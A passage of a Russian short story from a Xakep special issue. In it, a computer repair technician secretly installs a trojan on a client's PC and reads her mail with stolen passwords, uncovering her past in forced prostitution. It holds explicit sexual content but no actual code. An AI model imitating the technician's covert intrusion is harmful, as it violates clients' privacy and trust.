- Чуть быстрее, - настойчиво пихнула хозяйка в спину Антона. - Вы ведь еще даже не знаете, в чем здесь дело, сколько понадобится времени, а уже отдыхаете, как после тяжелой работы.


Спецвыпуск Xakep, номер #033, стр. 033-100-6, МОРЕ ЛЮБВИ

МОРЕ ЛЮБВИ

Спецвыпуск Xakep, номер #033, стр. 033-100-6

- Извините, - развел руками Антон и подошел к компьютеру. - Так в чем суть проблемы?

Хозяйка обошла вокруг него на расстоянии метра, внимательно глядя на мастера. Потом она опустилась в кресло и положила руки на подлокотники, глаза ее закрылись. Несколько секунд Антон думал, что так и не дождется от нее никакой информации, однако он оказался не прав - она внезапно открыла глаза и, глядя прямо перед собой, произнесла:

- Я здесь занимаюсь... Некими экспериментами, скажем так. В подробности вдаваться не будем, молодой человек. Все мои работы проходят при участии вот этого приспособления (она махнула рукой на устройство, занимающее угол, противоположный компьютеру).

Антон медленно согласно кивал, будто видеть подобные «приспособления» было для него привычным делом (тоже одно из правил, внушенных ему их директором, - никогда не показывай, что ты чего-то не знаешь, вполне возможно, что ты этому научишься именно сегодня). Хозяйка на него не смотрела; ее взгляд был устремлен прямо перед собой.

- По вполне объяснимым причинам, - продолжала она тем временем, - компьютер работает под управлением Windows 98. Вы слышали что-нибудь об этом? - внезапно спросила она у Антона. Тот даже не нашелся сразу, что ответить, - настолько неожиданным оказался этот вопрос. Он глупо раскрыл рот и попытался выдавить из себя хоть что-нибудь (он, конечно же, не гений, но, черт побери, не до такой же степени!). хозяйка хитро скосила глаза на него и неожиданно рассмеялась - правда, всего на пару секунд.

- Шутка, - оборвала она сама себя. - Продолжим. Во время моих экспериментов компьютер обрабатывает довольно большие массивы крайне специфической информации. Все вопросы потом, - предупредила она попытку Антона вставить слово в ее монолог. - В самом начале моей работы возникало множество проблем, связанных с отладкой программного обеспечения...

Верник слушал ее речь, как музыку. Ему казалось, что присутствует на лекции в своем родном институте информатики. Он теперь уже не понимал, зачем его сюда пригласили - ведь похоже, что хозяйка квартиры разбирается во всех вопросах в достаточном объеме.

- ...Постепенно - а это продолжалось около полугода - таких проблем становилось все меньше. Программа, управляющая этим (она снова махнула рукой в другой угол), становилась все лучше. Но, как вы понимаете, молодой человек, камнем преткновения оставался незыблемый фрагмент всей этой системы - сама операционная система.

Она встала с кресла, повернулась к Антону лицом.

- Она не справляется с тем видом работы, с которым я имею дело. Сегодня система рухнула в самый неподходящий момент (по ее лицу пробежала тень гнева). Я... Я хочу, чтобы вы, молодой человек...

Антон все-таки решился спросить:

- Простите, но, судя по вашим речам, вы и сама...

- Меня, между прочим, Ева зовут, - неожиданно представилась она. - Я сама ни черта не могу. И если вы... Ты думаешь, что мои разговоры и мои познания... Короче, все это я знаю с чужих слов; просто иногда необходимо в нужных кругах прихвастнуть - чтобы уж совсем не выглядеть белой вороной.


Спецвыпуск Xakep, номер #033, стр. 033-100-7, МОРЕ ЛЮБВИ

МОРЕ ЛЮБВИ

Спецвыпуск Xakep, номер #033, стр. 033-100-7

- Согласен, - кивнул Верник, зная и за собой подобную слабость - потрепаться о чем-нибудь, имея об этом самое отдаленное представление... - А я, между прочим, Антон.

- Короче, Антон, - склонив голову набок и хитро прищурившись, сказала Ева. - Сегодня у меня должен был быть очередной... Эксперимент. И он состоится. Тебе понятна задача?

Антон кивнул.

- Вы будете присутствовать? - поинтересовался он у Евы.

- Надо? - спросила она в ответ.

- Я поставлю вам Windows XP, - произнес он как можно более равнодушным тоном. - Как вы к этому отнесетесь?

Ева прикусила губу.

- Ты тоже об этом... где-то читал? - зло спросила она. - Или соображаешь?

Она уже поняла, что ее манера общения не прокатила. Пыталась отомстить.

- Соображаю, - коротко ответил Антон. - Что-нибудь нужно сохранять или можно все начисто делать?

- Все, что мне необходимо для работы, я переписываю на CD. Сама программа у меня тоже хранится отдельно. Делайте, как сочтете нужным. Сколько нужно времени?

Она снова перешла на «вы» - это не очень понравилось Антону, тем более что уже больше пяти минут он не мог оторвать взгляда от ее груди.

- Ну, я не знаю еще, какой у вас компьютер... В среднем час-полтора. Плюс настроить вашу программу и вон ту железяку... - Верник кивнул в сторону «приспособления».

- Ваше дело - установить систему, - отрезала Ева. - И все. После этого можете молча собираться и уходить. И нечего пялиться! - крикнула она, отчего у Антона сердце в пятки ушло, он смутился и испугался одновременно.

Ева крутнулась на каблучках домашних туфель и вышла из комнаты. Верник проводил ее взглядом - то ли завистливым, то ли грустным; он сам не понял, как посмотрел ей вслед. Отругав про себя Лукашина с его несвоевременным заказом, он взялся за работу.

И, как всегда, работа поглотила его целиком.

Он восторженно бормотал себе под нос названия комплектующих этого поистине навороченного компьютера, поражался его скорости, объему памяти и диагонали монитора. Работа продвигалась довольно быстро. Отформатировав винчестер, он запустил установку Windows; его взгляды постепенно приковала та установка, к которой от компьютера тянулись провода.

Аккуратно выглянув в коридор и не обнаружив там Евы (ее бормотание - а может быть, телевизора - слышалось откуда-то из глубин огромной квартиры), Антон, периодически поглядывая на монитор, приблизился к устройству. Его назначение было абсолютно непонятно.

В основе всего располагалась довольно большая тумба на поворотной платформе; выше - несколько блоков, напоминающих раздельный музыкальный центр, как и показалось Вернику вначале. К музыке это, судя по всему, не имело никакого отношения.

Провода проникали в каждый из блоков; на передних панелях тускло отражали свет люстры погасшие табло. Сенсорные панели со множеством кнопок не говорили Антону ни о чем, напоминая почему-то микроволновку. Он осторожно провел рукой над кнопками, не прикасаясь к ним.

На самом верху сооружения стоял довольно большой монитор - жидко-кристаллический; наверное, очень дорогой. Наименование фирмы, отметившейся на лицевой панели, было Антону неизвестно, что сразу же вызвало уважение - ничего похожего на Китай, скорее всего, какой-то неведомый Вернику брэнд. Вообще, все это вызывало ощущение медицинского прибора - даже цвет всей установки, ослепительно белый, не имел ничего общего с офисной техникой.


Спецвыпуск Xakep, номер #033, стр. 033-100-8, МОРЕ ЛЮБВИ

МОРЕ ЛЮБВИ

Спецвыпуск Xakep, номер #033, стр. 033-100-8

Увлекшись, он едва не пропустил момент, когда Ева вошла в комнату проверить ход работы - краем уха он уловил шорох пеньюара и быстро вернулся поближе к компьютеру. Она вошла неслышно - босиком. Это было неожиданно, Антон машинально опустил глаза вниз и отметил красивый сверкающий лак на ухоженных ногтях.

- Сколько мне еще ждать? - нетерпеливо спросила она.

Антон развел руками и покачал головой.

- От меня сейчас мало что зависит, вы же понимаете... Около сорока минут - до момента, когда вы сможете сесть за компьютер, - объяснил ей перспективу Верник.

Ева хмыкнула и внимательно посмотрела на Антона.

- Ладно, я все понимаю, - угрюмо ответила она. - Не совсем же я дура. Устал?

Антон замер. «Сейчас предложит расслабиться, а потом скажет, что расплатилась...» - проскочила крамольная мысль.

- Кофе? - тем временем спросила Ева.

Верник, признаться, не сразу услышал ее вопрос. Он на пару секунд провалился куда-то в свой мир, где на разных полочках сознания хранились сведения о женщинах подобного поведения. Ева повторила:

- Кофе, мальчик?

«Все, попал», - признался сам себе непонятно в чем Верник и молча кивнул. Ева щелкнула пальцами и вышла. Антон облизнул пересохшие губы - ее роскошное тело волновало парня все больше и больше, а запах духов очистился от неподходящих для красавицы примесей и дурил рассудок.

Вернуться за компьютер он себя заставил. Опустившись в кресло, он всмотрелся в происходящее на экране. Полоска инсталляции достаточно быстро ползла к финишу. Компьютер действительно был хорош. Если принять во внимание ту штуку, что стояла в углу, - то внутри компа находились, видимо, не менее крутые детали.

- В чем суть брэнда? - услышал он голос из-за спины. - Ева, как кошка, подкралась незаметно и опустила на подлокотник маленькую чашку кофе, расточающую густой приятный аромат. - В гарантии, Антон, не мне вам объяснять...

«Она что, мысли читает?» - поразился попаданию собеседницы в точку Верник.

- Согласен с вами, Ева, - кивнул Антон, не отрывая взгляд от ее колен - точеной, совершенной формы. - Я смотрю, вы все-таки достаточно подкованы - так, может, вам преподать несколько уроков, и вы сможете делать все это сами?

Антон сказал все это и тут же поразился собственной наивности - зачем этой фотомодели какие-то уроки? Она вызовет сюда самого Билла - и он будет только рад ползать у ее ног, втыкая кабели вместо портов себе в ноздри!

- Я подумаю, Антон. Ты пей, пей - в маленьких чашечках кофе быстро остывает.

- Я не люблю горячий, - машинально соврал Верник. - С детства.

Ева улыбнулась.

- Сколько тебе лет?

- Двадцать один.

- Давно за компьютером?

- Лет шесть уже, - не без гордости ответил Антон.


Спецвыпуск Xakep, номер #033, стр. 033-100-9, МОРЕ ЛЮБВИ

МОРЕ ЛЮБВИ

Спецвыпуск Xakep, номер #033, стр. 033-100-9

- Профессионал?

- Пока никто не жаловался, - пожал Верник плечами.

- Ну-ну, - покачала головой Ева и посмотрела на экран. - Там, похоже, надо перезагрузиться.

Антон оторвался от ее фигуры, которую лапал глазами сам того не замечая, взглянул на монитор и пощелкал «мышкой». Он спиной ощущал взгляд Евы; ему показалось, что она уже не так раздражена, как при встрече.

- Ну вот, почти все закончено, - развел руками Верник. - Тут еще нужно кое-что поправить...

- Зачем? - напряглась Ева.

- Вы же знаете, что у Майкрософт не все так хорошо по умолчанию, как хотелось бы... Вот некоторые же рождаются с такой фигурой, как у вас, а многим...

Антон замолчал. Он понял, что сделал наглый комплимент, в котором тут никто не нуждался. Однако реакция была достаточно неожиданной - Ева расплылась в улыбке и кокетливо наклонила голову:

- Ох, Антон, я, конечно, не Майкрософт. У меня по умолчанию все очень даже ничего - это мне многие говорили. Ладно, настраивай, не буду тебе мешать... Своей фигурой... - шепнула она себе под нос, уходя, но Антон ее услышал, покраснел и сжал «мышку» так, что будь она живой - пискнула бы обязательно. Перед смертью.

Он прошелся по реестру, системным службам, автостарту, драйверам - при этом не решаясь попросить Еву разрешить ему настроить ту штуку, что тревожила его кибер-сознание. Где-то за стеной заиграла музыка - Ева включила «Серебряный дождь».

И вот тут-то Антона осенило.

Он воровато оглянулся по сторонам, вслушался в тишину коридора. После чего вытащил из своего «дипломата» диск с не совсем законными утилитами. Недолго думая, он засунул ей «трояна», почистил реестр еще раз и сунул диск на место.

Спустя пару секунд в проеме арочной двери вновь появилась Ева. Опершись на стену, она внимательно смотрела Антону в глаза. Вернику стало не по себе.

- Интересно? - Ева кивнула в сторону установки в углу.

Антон сделал вид, что ему все равно. Хозяйка ухмыльнулась:

- Знаю, что интересно, - она махнула рукой куда-то вверх. Верник поднял глаза и увидел под потолком маленькую камеру видеонаблюдения. По спине пробежала волна холода.

«Она видела, как я доставал диск... Но ведь она не может знать, для чего», - тут же успокоил себя Антон и проглотил тугой комок слюны.

- Твоя новая Windows - надежнее? - спросила Ева. Антону показалось, что она немного под хмельком.

- Да, - ответил он. - И это не только мое мнение. Оно достаточно объективное...

- Кофе допил? - короткий, но очень красноречивый вопрос.

- Допил, - Антон поднялся с кресла и принялся собираться. - Я вызову такси? - кивнул он в сторону телефонной трубки, висящей на стене. Ева согласно прикрыла глаза, демонстрируя великолепные ресницы.

Такси прибыло через пять минут. Антон вышел в прихожую, обулся и повернулся к хозяйке. Та протянула ему несколько купюр - точно по ночному тарифу.

- Спасибо, Антон. И не смотри на меня так - я и так практически раздета, так ты с меня последнее снимаешь.

Верник смутился и, пятясь и спотыкаясь, спиной вперед вышел на площадке. Дверь захлопнулась. Антон взглянул на нее, словно пытаясь запомнить на всю жизнь.


Спецвыпуск Xakep, номер #033, стр. 033-100-10, МОРЕ ЛЮБВИ

МОРЕ ЛЮБВИ

Спецвыпуск Xakep, номер #033, стр. 033-100-10

- Скоро она настроит свою иноземную балалайку... Надо поторопиться домой.

Внизу, у подъезда, уже сигналил таксист, уставший, как всегда, ждать...

* * * * *

Ева прошла в комнату и опустилась в кресло, которое еще хранило тепло Антона. Положив руки на подлокотники, она чуть не смахнула чашку с недопитым кофе. Взяла ее в руку, понюхала - аромат стал послабее, кофе уже остыл. Осторожно опустила чашку на пол рядом с креслом, взглянула на экран.

Новая операционная система была явно попривлекательнее внешне - но кому, если не Еве, знать, что внешность порой обманчива...

- Если и ты мне выкинешь нечто вроде сегодняшней шутки... - погрозила она кулаком монитору. - Тогда моим планам будет не суждено осуществиться - а этого никак нельзя допустить.

Сходив в другую комнату, она взяла из сумочки кредитную карточку, подключилась к Интернету, выполнила небольшую финансовую операцию, после чего взяла с компьютерной стойки один из дисков - неприметный, неподписанный. Но ей не нужны были никакие опознавательные знаки; этот диск она нашла бы в полной темноте среди сотен похожих...

Вставила его в дисковод, запустила установку программы. Внезапно ожил прибор в углу - прогудел низким, басовитым звуком, засветился голубым экраном, заблестел сенсорами, подсвеченными изнутри. И, отзываясь на привычный звук, напряглись и стали каменными соски ее не знавших ребенка грудей...

На скулах заходили желваки. Она ненавидела этот чертов рефлекс, но зависела от него, как наркоманка. Да и какая женщина в ее возрасте не думает о сексе! Но у Евы о плотских утехах были несколько иные представления...

Она встала, скинула пеньюар и осталась полностью нагой. Блики красноватого света играли на ее коже; она вышла в коридор к огромному, до потолка, зеркалу и невольно залюбовалась собой. Все было на месте и в достаточном объеме и количестве; длинные волосы падали на ее плечи, ни единой морщины на ухоженном теле, втянутый животик («Осталось пятно от присоски!»), округлые бедра... Девяносто-шестьдесят-девяносто.

- Как я все это вытерпела? - спросила она себя. - Четыре года... Даже больше. Почти пять. Кто ответит на этот вопрос? И вообще - кто за это все ответит?

Она провела пальцами по зеркалу, очерчивая контур отражения своего лица. Прошла на большую светлую кухню, взяла недопитый фужер шампанского и пригубила самую малость. Потом покрутила искрящуюся жидкость в руке и залпом допила.

- Как сейчас помню - у Дика всегда получалось лучше после принятия спиртного...

Она наполнила фужер снова до краев, пена хлынула на стол. Ева выпила еще, поморщилась - пузырьки ударили в нос, заставили выступить слезы на глазах.

Когда бутылка оказалась наполовину пуста, Ева со звоном опустила бокал на барную стойку.

- Пора, - сказала она сама себе; ее неловко качнуло, она ухватилась за край стола. - Алкоголь всегда усиливал желание...

Она вернулась в кресло. На этот раз села достаточно тяжело, безо всякого изящества - ноги уже держали довольно плохо. Ева вдохнула - глубоко, через нос; ее всегда возбуждал запах собственного тела.


Спецвыпуск Xakep, номер #033, стр. 033-100-11, МОРЕ ЛЮБВИ

МОРЕ ЛЮБВИ

Спецвыпуск Xakep, номер #033, стр. 033-100-11

- Стоит начать? - дурашливо спросила она у самой себя. - Само собой...

Она послюнявила кончик среднего пальца правой руки и опустила его между ног. Через несколько минут она поняла, что забыла подключить электроды. Прервавшись с сожалением, граничащим с безумием, она приподнялась с кресла, прилепила над лобком присоску, щелкнула у основания кресла тумблером, включив «ноль», и с увлечением продолжила свое занятие.

Вновь, как всегда, из полуоткрытого рта раздавались протяжные стоны, достойные саундтрека к порнофильму; тело периодически сотрясали судороги; тонус разгибателей заставлял шею гнуться назад, пальцы свободной руки были распрямлены и даже больше - разогнуты чуть ли не в дугу, что говорило о максимальном возбуждении. Кресло заблестело от пота; каким-то краешком охваченного наступающим оргазмом сознания она помнила о цели всего происходящего, рука протянулась к клавиатуре...

В прошлый раз на этом месте система зависла. Сейчас этого не произошло - честь и хвала корпорации Билли! Нажатие клавиши «Enter» было корректно обработано и совпало с криком, сорвавшимся с губ...

Устройство на другом конце провода, идущего от тела Евы в комп, а оттуда к одному из блоков на белой тумбе, издало тоненький писк, на экране пробежали строки служебной информации; Ева застонала долго, протяжно, постепенно затихая. Из верхнего блока, на котором было меньше всего каких-либо кнопок, выехал лоток со сверкающим золотом диском.

«Record is completed, ready to use. Superb, baby!»

Эту фразу придумал Дик - «Великолепно, детка!» Он всегда грешил заморским языком, несмотря на то, что эта штука, которую он придумал, прекрасно понимала русскую речь - в смысле, буквы.

Ева стерла пот со лба. Разлепила веки, словно чугунные после вспышки страсти, посмотрела на эту строчку на экране, несколько раз кивнула головой и задремала, забыв отключить электрод.

Диск, ненадолго забытый, лежал, посверкивая, в лотке. На его дорожках, с плотностью до шестисот на одном миллиметре, был сейчас записан оргазм Евы - во всех подробностях, начиная с частоты пульса и заканчивая эмоциональным пиком в наивысший момент наслаждения. Семьсот мегабайт чистого кайфа. Золотая матрица (Дик никогда не доверял другим). Экстаз, увековеченный лазером. Любовь и ненависть, страсть и порок, стоны, крики и шепот, бред и великая истина. Океан чувств. Море любви.

И НИКТО В МИРЕ ЕЩЕ НЕ ЗНАЛ, ЧТО ОРГАЗМ МОЖЕТ СТАТЬ ФАЙЛОМ.

Ева тихо дремала в кресле, свернувшись калачиком, не замечая во сне прохлады и своей наготы. Ей снился Антон, мастер из «Компьютерной скорой помощи». Он пил с ней шампанское, закусывал «Рафаэлками», рассыпая кокосовые стружки по полу, и убеждал, что Windows XP - самая лучшая поза в «Камасутре»...

* * * * *

Антон вернулся домой через полчаса после работы у Евы - такси задержали на одном из постов ГИБДД для проверки багажника. Опять кого-то застрелили среди этого праздника жизни, искали киллера; Антон даже не заметил остановки, молча протянул документы в окно «Волги» (без паспорта в Москве было сложно шаг ступить уже много лет). Пока ДПС-ник просматривал водительские права, паспорт пассажира и заглядывал в багажник, у Верника из головы не шла Ева.


Спецвыпуск Xakep, номер #033, стр. 033-100-12, МОРЕ ЛЮБВИ

МОРЕ ЛЮБВИ

Спецвыпуск Xakep, номер #033, стр. 033-100-12

Там было что-то не очень хорошее; прямо скажем, ее непонятная установка тянула на криминал. Сейчас, уже покинув ее квартиру, он вспоминал некоторые детали, там не бросившиеся в глаза по причине своей обыденности. Пара «Плейбоев», лежащих под компьютерным столом; несколько тоненьких книг по психологии (названия не отложились в голове у Антона, но суть он схватил верно - слово «психология» в них встречалось практически в каждой). Учебник по работе в Интернете; бездарный по сути, но все-таки необходимый людям, ничего в этом не понимающим, по крайней мере на первых порах. И фотография мужчины на стене за установкой - ее было плохо видно, потому что монитор скрывал фото наполовину; изучая прибор, Антон как-то не обратил на нее внимания. Сейчас же он пытался вспомнить лицо, изображенное на ней, - достаточно волевой взгляд, острые скулы, пронзительные глаза. Человек на фотографии, по-видимому, улыбаться не любил принципиально. Тип лица нельзя было отнести ни к европейскому, ни к азиатскому - какое-то «сделанное» лицо, искусственное, что ли. Да, пожалуй, именно это слово и подходило к нему больше всего.

Антон на секунду отвлекся от воспоминаний, выглянул в окно. Ночная Москва почему-то произвела на него после розового пеньюара Евы гнетущее впечатление. Захотелось как можно быстрее оказаться дома, принять душ и войти в Сеть. Вполне возможно, информация, которую ему мог отправить троян, уже лежала на почтовом сервере - оставалось только получить ее и обработать.

Тем временем досмотр закончился. Таксист вернулся на свое место, машина тронулась. Верник немного укачался, задремал. Сон, то ли беспокойный, то ли тяжелый, одолел его. Красные тона окружили его в этом сне, повлекли за собой; он обнимал Еву, ощущая под пальцами нежную ткань ее призрачной одежды. Глаза загадочной женщины пронзительно смотрели ему в душу, руки отталкивали. Антон понимал, что женщина с ним играет, заставляя распаляться все больше и больше. Тряхнув волосами, она отбежала на несколько шагов, позвала за собой - беззвучно, одними губами. Антон шагнул следом...

- Приехали, парень, - над ухом прозвучал голос таксиста. - Сто двадцать рублей, как договаривались.

Верник встряхнулся и смущенно взгромоздил себе на колени «дипломат» - его недюжинная молодецкая эрекция, навеянная эротическим сном, бросалась в глаза даже невнимательному зрителю. Отсчитав деньги, он аккуратно выбрался из машины, продолжая прикрываться «дипломатом».

Поднявшись к себе домой, он позвонил диспетчеру. Лукашин, уже вернувшийся с вызова, который оказался какой-то бездарной мелочевкой, отметил время прибытия Верника и пожелал ему спокойной ночи.

- Да ну тебя, - отмахнулся от него Антон. - Столько времени проторчал там, думал, живым не уйду.

- Что, приставала?

- Лучше бы приставала, - мрачно произнес Антон. Виталий не понял:

- Объясни популярно, как так бывает. Мы тут люди серые, по бабам не ездим, все дети бездарные попадаются, любители игрушек и дерьмеца порнографического. Я вот сегодня по просьбе одной мамы вычистил с винта у тринадцатилетнего оболтуса шесть с полтиной гигабайт порнухи всякого рода - и фотки, и клипы, и игрушки... Даже пара мультиков. Если ты хочешь... Я себе много чего успел скинуть, у меня же на ноутбуке винчестер огромный. Как раз для таких случаев. Ну, так ты будешь рассказывать? - сам себе прервал Лукашин и замолчал в надежде на сальную историю.


Спецвыпуск Xakep, номер #033, стр. 033-100-13, МОРЕ ЛЮБВИ

МОРЕ ЛЮБВИ

Спецвыпуск Xakep, номер #033, стр. 033-100-13

Антон не был расположен к подобного рода обсуждениям; тем более, разменивать свои впечатления от Евы на мнения какого-то безумца Лукашина, любителя продукции «детям до шестнадцати», ему не хотелось. Он долго молчал, потом пробурчал что-то на тему усталости и желания выспаться.

Лукашин, как ни странно, понял.

- Ладно, чего там... Спи. Директор дал тебе на завтра выходной...

- В смысле? - невольно напрягся Антон, ожидая очередного подвоха, хотя до первого апреля было еще очень далеко.

- «В смысле...» - передразнил Лукашин. - Сколько тебе эта баба отвалила за работу?

- Шестьсот... - нащупал в кармане брюк деньги Антон. - Шестьсот пятьдесят. Тариф-то ночной... Завтра заеду, отчитаюсь в бухгалтерии.

- Сколько? - снисходительно сказал Виталий. - Шестьсот пятьдесят? Она потом двести долларов перевела на наш счет, да еще письмо с благодарностью для тебя накатала!

Антон едва не уронил телефон. Там точно было что-то не так.

- Двести баксов? - переспросил он. - И чем же она это объяснила?

- Тобой, уважаемый, - сухо ответил Лукашин. - И, я думаю, директор не поверит, что у тебя с ней ничего не было. Понимаешь... Если ты говоришь правду, а мне, можешь поверить, все равно, то она тебя подставила. Хотя, вероятно, она хотела как лучше...

Верник молча нажал «отбой». Повертев трубку в руке, он швырнул ее на диван. Ох, уж эта Ева!..

Честно говоря, он ее не понял. Его работа явно не стоила двести долларов. Даже те деньги, что она заплатила лично ему - даже их, по большому счету, было много. Оправданием сумме служило позднее время и установка лицензионной версии системы. А вот чтобы расстаться с той суммой, что она перевела на их счет после его ухода, - для этого надо было иметь веские основания. Верник задумался, причем задумался всерьез и надолго.

Чем больше он размышлял над этим вопросом (пробираясь сквозь туманные красочные образы Евы, периодически всплывающие прямо у него перед носом), тем ближе становилась ему мысль о том, что дело в той штуке с телевизором, соединенной с компом парой проводов. Он вспомнил лежащую на полу у компьютерного стола присоску с электродом; эта таинственная фотомодель проводила эксперименты явно не над лягушками и собаками...

- А какого черта я сижу?!. - вдруг спросил он самого себя вслух. - Ведь вопросы решаются только тогда, когда на них действительно ищут ответы! Хватит теряться в догадках - моя троянская лошадка прояснит эту ситуацию.

Вытащив из «дипломата» ноутбук, Антон расположил его на диване рядом с собой, воткнул в порт «Зухель», соединил кабелем с телефонным гнездом, включил. Экран засветился, загрузка была очень и очень быстрой - директор не скупился на оборудование для своих сотрудников, стремясь иметь все самое совершенное и максимально производительное.


Спецвыпуск Xakep, номер #033, стр. 033-100-14, МОРЕ ЛЮБВИ

МОРЕ ЛЮБВИ

Спецвыпуск Xakep, номер #033, стр. 033-100-14

Через три минуты он уже имел на своем компьютере адреса и пароли четырех почтовых ящиков Евы.

- Многовато, конечно, - пробурчал Антон, устраиваясь поудобнее и вспоминая все свои навыки, которыми он не пользовался - принципиально - уже около года. - Сначала получим все, что у нее там накопилось, а потом будем думать дальше.

Почты набралось достаточно - около двадцати писем, из которых только три были рекламным мусором, а все остальные содержали хоть какую-то информацию, касающуюся непосредственно Евы.

На одном из почтовых серверов содержались семь писем от некоей Марго, которая посылала их с завидным постоянством - каждый день в течение последней недели. Вполне возможно, что письма отправлялись планировщиком, так как текст они содержали один и тот же, время отправления совпадало с точностью до секунды.

- «Ева, Дик нашелся. Он в Киеве. Узнаю адрес - сообщу. Я с тобой. Марго», - прочитал Антон. И так каждый день. А адрес-то она, похоже, так и не узнала.

Эти однотипные письма-близнецы почему-то привлекли внимание Верника своими подписями. «Марго» - это было точно так же необычно, как и «Ева». Когда он просмотрел оставшиеся восемь писем в других ящиках, то еще больше убедился в том, что его подозрения небеспочвенны - три из них были подписаны «Клеопатрой», два - «Мэрилин», а три последних содержали ники «Шарлиз», «Джина» и - самый необычный - «Ночной снайпер».

Все это напоминало прозвища людей, принадлежащих к какой-то загадочной организации. Судя по всему, они были объединены общим секретом, общим действующим лицом - Диком, который упоминался во всех письмах, кроме последнего от «Ночного снайпера».

- «Ева, будь осторожна. Ради меня. Все эти эксперименты ни до чего хорошего не доведут тебя. Но - благословляю. Ночной Снайпер», - трижды прочитал вслух это письмо Антон, пробуя его на вкус. Кто-то позаимствовал ник у известной рок-команды, трансформировав его в единственное число. Верник пытался понять, сколько среди пишущих людей лиц женского пола - ведь ник в Интернете еще ничего не значит. Пришел к выводу, что все могут быть и женщинами, и мужчинами; хотя на мужчину больше всего тянул неведомый «Снайпер».

Еще одно письмо привлекло внимание Антона - оно было написано «Клеопатрой» четыре дня назад и содержало всего три слова: «А вдруг получится?». Что именно должно было получиться у Евы такого, о чем переживали все ее друзья и подруги?

Вопросов накопилось намного больше, чем ответов. Вывод был пока только один - знакомая Антону Ева принадлежала к некоей группе единомышленников (Верник почему-то сразу стал грешить именно на организованность), занятой решением проблемы, которую перед ними поставил человек с ником «Дик», живущий в данный момент в Киеве. Больше пока выцарапать из переписки Антону ничего не удалось - вообще, ему здорово помогло то, что Ева не удаляла почту на серверах, а оставляла ее там храниться в течение как минимум недели. А ведь он мог наткнуться на пустые ящики, информация с которых давно превратилась в нули...


Спецвыпуск Xakep, номер #033, стр. 033-100-15, МОРЕ ЛЮБВИ

МОРЕ ЛЮБВИ

Спецвыпуск Xakep, номер #033, стр. 033-100-15

Верник сходил на кухню, приготовил себе яичницу с помидорами, вывалил ее на большую тарелку (никогда не мог есть со сковороды), вернулся назад на диван и принялся с аппетитом есть, выставив таймер на проверку ящиков Евы каждые десять минут. Он очень надеялся на свой троян, который был обязан все письма, исходящие с компа Евы, дублировать и отправлять клон ему домой.

В течение часа не происходило ничего. Антон заснул с тарелкой недоеденной яичницы в руках. Потом пришло письмо от «Шарлиз». Звоночек, известивший о приходе почты, вывел Антона из дремотного состояния.

- «Какие планы? Я с тобой. Ты обещала сегодня. От меня - и от нас - что-нибудь нужно?»

Она обещала сегодня... Что она обещала? - спросил сам у себя и у неизвестной «Шарлиз» Антон. - Сегодня... Сегодня... Сегодня! - осенило его. Поэтому она и заплатила такую кучу бабок! Сегодня она что-то должна была сделать - что-то, что без компьютера нельзя было выполнить ну никак!

Антон вспомнил, как Лукашин рассказывал ему о звонке Евы. «Не-сей-час!» - кричала она в телефонную трубку, видимо плохо соображая, что разговаривает с диспетчером. Что-то очень и очень важное могло сорваться, не появись у нее в полночь Верник и не наладь он на компьютере операционную систему.

- Компьютер был нужен для управления установкой неизвестного назначения, - сам себе констатировал факт Верник. - Насмотревшись голливудских блокбастеров, я уже готов поверить в то, что она при помощи этой штуки навела на голову Дика спутник!

Бибикнул ноутбук. Письмо. От «Марго». Время другое. Размер - побольше раза в два. Что-то новенькое.

- Интересно-интересно, - прошептал Антон и раскрыл письмо.

- «Я помню твои способности, Ева. Вчера мне сделали предложение - наверное, я выйду замуж. Не хотелось бы тащить в будущее груз воспоминаний. Передай от нас всех Дику привет, да погорячее. Его адрес - shine_on_your_crazy_diamonds@mail.ua. Твоя Марго»

Антон прочитал письмо и закрыл глаза.

- Что же такое должно произойти?! - спросил он у Евы, которая так и стояла все это время у него перед глазами. - Какой привет?

И в это время почтовый диспетчер «Мыши» сообщил о появлении на сервере двух писем от Евы. Письма, которые она отправила на адрес «сумасшедших алмазов». Письма Дику.

Антон смотрел на строку в диспетчере сообщений, читал адрес Евы, потом свой, потом заголовок, и что-то не давало ему покоя. Что-то, что скрывалось за краем окошка.

Причиной, вызвавшей раздражение Антона, оказалось время, ушедшее на продвижение второго письма с компа Евы на его собственный. Даже если учесть необходимый для сортировки на сервере временной промежуток - получалось все равно очень много, около десяти минут. Прежде чем получить письмо, Верник прокрутил строку. И просто обалдел - размер вложения, прицепленного к письму, составил семьсот мегабайт.

- Она что, кино ему послала?! - искренне удивился он, поняв, что получить такой объем по модему просто нереально. А прочитать письмо очень и очень хотелось. Смирившись с тем, что второе письмо недоступно, он открыл первое.


Спецвыпуск Xakep, номер #033, стр. 033-100-16, МОРЕ ЛЮБВИ

МОРЕ ЛЮБВИ

Спецвыпуск Xakep, номер #033, стр. 033-100-16

«Привет, Дик, - начал читать Антон. - Каким ветром тебя занесло туда, где ты сейчас? Работаешь? Отдыхаешь? Попробуй угадать, с кем ты сейчас имеешь дело? Чтобы облегчить тебе задачу, подскажу - с кем-то из семи? А ведь когда-то, ты должен это помнить, нас было двенадцать. Двенадцать молодых, наивных девчонок, приехавших покорять Москву. Пятеро остались на ее кладбищах навсегда. Я помню тебя, четыре с половиной года назад соблазнившего нас, дурочек с периферии, большими бабками. И знаешь, я благодарна тебе. Не знаю, что думают об этом Марго или Джина - скорее всего, они со мной не согласятся. Особенно Ночной Снайпер - та вообще готова была... Чтобы ты знал - это я вытащила ее из петли, я вызвала тогда «Скорую», это была я - Ева Браун. Никогда не могла понять твоей страсти к идиотским именам - что Клеопатра, что Мерилин. А уж несчастная Жасмин - помнишь, та, которая проглотила какую-то гадость, что расплавила ей живот?.. А ведь ее звали просто - Жанна. Из Коломны. Ей было двадцать два. Интересно, ты еще читаешь или мое письмо уже ушло в «Trash»? Меня ты сделал Евой Браун, женой фюрера. Иногда я забывала, что Екатерина Беляева - это тоже я. Обычная девчонка из Самары, ставшая по твоей инициативе элитной проституткой...

Я думаю, что я смогла бы все это вынести - ради денег. Вообще, ради денег можно сделать и стерпеть очень и очень много; это я говорю спустя много лет после того, как прибыла в Москву на поезде с парой сотен рублей в кошельке. Но то, что ты сделал с нами - с Лизой Крапивиной (язык не поворачивался никогда назвать ее Шарлиз - просто Лизка, и все), с остальными...

Твой метод работы свел с ума пятерых из нас. Остальные получили душевные травмы, которые не залечит время. Эта электронная гадина, которая стоит у меня в углу комнаты, доставшись мне в наследство, периодически навевает всякие мысли. Знаешь, я научилась с нею работать. Я с нею подружилась - и поняла, почему ты так любил эти дурацкие клички. Ее я назвала Барби - чтобы проникнуться идиотизмом ситуации, как это делал ты, внушая нам, что мы являемся частью великой идеи, частью твоего грандиозного плана.

